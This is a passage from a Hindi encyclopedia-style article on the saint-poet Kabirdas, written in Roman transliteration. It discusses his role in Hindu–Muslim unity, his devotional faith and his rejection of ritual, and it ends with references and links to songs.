jo log hindoo–muslim ekata ke vrat mean dikshit haian, ve bhi kabiradas ko apana margadarshak manate haian. yah uchit bhi hai. ram–rahim aur keshav–karim ki jo ekata svayan siddh hai, use bhi sampraday buddhi se vikrit mastishk vale log nahian samajh pate. kabiradas se adhik zoradar shabdoan mean ekata ka pratipadan kisi ne bhi nahian kiya hai. par jo log utsahadhikyavash kabir ko keval hindoo–muslim ekata ka paigambar man lete haian ve unake mool svaroop ko bhoolakar usake ek deshamatr ki bat karane lagate haian. aise log yadi yah dekhakar kshubdh hoan ki kabiradas ne donoan dharmoan ki ooanchi sanskriti ya 'donoan dharmoan ke uchchatar bhavoan mean samanjasy sthapit karane ki kahian par koshish nahian ki aur sirf yahi nahian, balki un sabhi dharmagat visheshataoan ki khilli hi u daee hai jise mazahabi neta bahut shreshth dharmachar kahakar vyakhya karate haian, 'to kuchh ashchary ki bat nahian hai, kyoanki kabiradas is bindu se dharmik dvandvoan ko dekhate hi n the. unhoanne rog ka thik nidan kiya ya nahian, isamean do mat ho sakate haian, par aushadh nirvachan mean aur apathy varjan ke nirdesh mean unhoanne bilkul galati nahian ki. yah aushadh hai bhagavadvishvas. donoan dharm saman roop se bhagavan mean vishvas karate haian aur yadi sachamuch hi adami dharmik hai to is amogh aushadh ka prabhav us par p dega hi. apathy hai bahy acharoan ko dharm samajhana, vyarth kulabhiman, akaran ooanch–nich ka bhav. kabiradas ki in donoan vyavasthaoan mean galati nahian hai aur agar kisi din hinduoan aur musalamanoan mean ekata huee to isi raste ho sakati hai. isamean keval bahyacharavarjan ki nakaratmak prakriya nahian hai, bhagavadvishvas ka avishleshy simeant bhi kary karega.

isi arth mean kabiradas hindoo aur musalamanoan ke aiky–vidhayak the. parantu jaisa ki arambh mean hi kaha gaya hai, kabiradas ko keval inhian roopoan mean dekhana sahi nahian hai. ve moolatah bhakt the. bhagavan par unaka avichal akhand vishvas tha. ve kabhi sudhar karane ke pher mean nahian p de. shayad ve anubhav kar chuke the ki jo svayan sudharana hi nahian chahata, use jabaradasti sudharane ka vrat vyarth ka prayas hi hai. ve apane upadesh sadhu bhaee ko dete the ya phir svayan apane apako hi sambodhit karake kah dete the. yadi unaki bat koee sunane vala n mile to ve nishchit hokar svayan ko hi pukar kar kah uthateah 'apani rah too chale kabira !' apani rah arthath dharm, sampraday, jati, kul aur shastr ki roodhiyoan se jo baddh nahian hai, jo apane anubhav ke dvara pratyakshikrit hai.

kabiradas ki mahima

jo log in batoan se hi kabiradas ki mahima ka vichar karate haian ve keval satah par hi chakkar katate haian. kabiradas ek jabaradast krantikari purush the. unake kathan ki jyoti jo itane kshetroan ko udabhasit kar saki hai so mamooli shaktimatta ki parichayika nahian hai. parantu yah samajhana ki udabhasit padarth hi jyoti hai, b di bhari galati hai. udabhasit padarth jyoti ki or ishara karate haian aur jyoti kidhar aur kahaan par hai, is bat ka nirdesh dete haian. oopar–oopar, satah par chakkar katane vale samudr bhale hi par kar jaean, par usaki gaharaee ki thah nahian pa sakate. in panktiyoan ka lekhak apane ko satah ka chakkar katane valoan se vishesh nahian samajhata. usaka dridh vishvas hai ki kabiradas ke padoan mean jo mahanh prakashapuanj hai, vah bauddhik alochana ka vishay nahian hai. vah sangrahalay ki chiz nahian hai, balki jivit pranavan vastu hai. kabir par pustakean bahut likhi gee haian, aur bhi likhi jaeangi, par aise log kam hi haian jo us sadhana ki gaharaee tak jane ki cheshta karate hoan. ram ki vanari sena samudr zaroor laangh gee thi, par usaki gaharaee ka pata to mandar parvat ko hi tha, jisaka virat sharir apatal–nimagn ho gaya thaah

abdhirlaghit ev vanarabhataiah kintvasy ganbhiratamh
apatal – nimagn – pivaratanurjanati mandrachalah.

so, kabiradas ki sachchi mahima to koee gahare mean gota lagane vala hi samajh sakata hai. kabiradas ne svayan aroop ko roop dene ki cheshta ki thi. parantu vah svayan kah ge haian ki ye sare prayas tabhi tak the, jab tak ki param prem ke adhar priyatam ka milan nahian hua tha. sakhi, pad, shabd aur dohare usi prapti ke sadhan haian, marg haian. gantavy tak pahuanch jane par marg ka hisab karana bekar hota hai. phir in sakhi, shabd aur doharoan ki vyakhya ke prayas ko kya kaha jae? ye to sadhan ko samajhane ke sadhan—sadhan ke bhi sadhan haian.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

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tika tippani aur sandarbh

• anil chaudhari dvara nirdeshit dooradarshan par bana dharavahik "kabir" ek utkrisht rachana hai.
• hazari prasad dvivedi ki rachana "kabir" sant kabir par sabase utkrisht rachana hai.

bahari k diyaan

• rachanakar: mahavir saran jain ka alekh : kabir ki sadhana

yoo-tyoob liank

• magahar ka vidiyo (yoo tyoob par)
• jhini chadariya (avaj- pan. kumar gandharv)
• sunata hai guru jnani (avaj- pan. kumar gandharv)
• nirbhay nirgun gun re gaooanga (avaj- pan. kumar gandharv aur vidushi vasuandhara komakali)
• u d jayega hans akela (avaj- pan. kumar gandharv)

sanbandhit lekh

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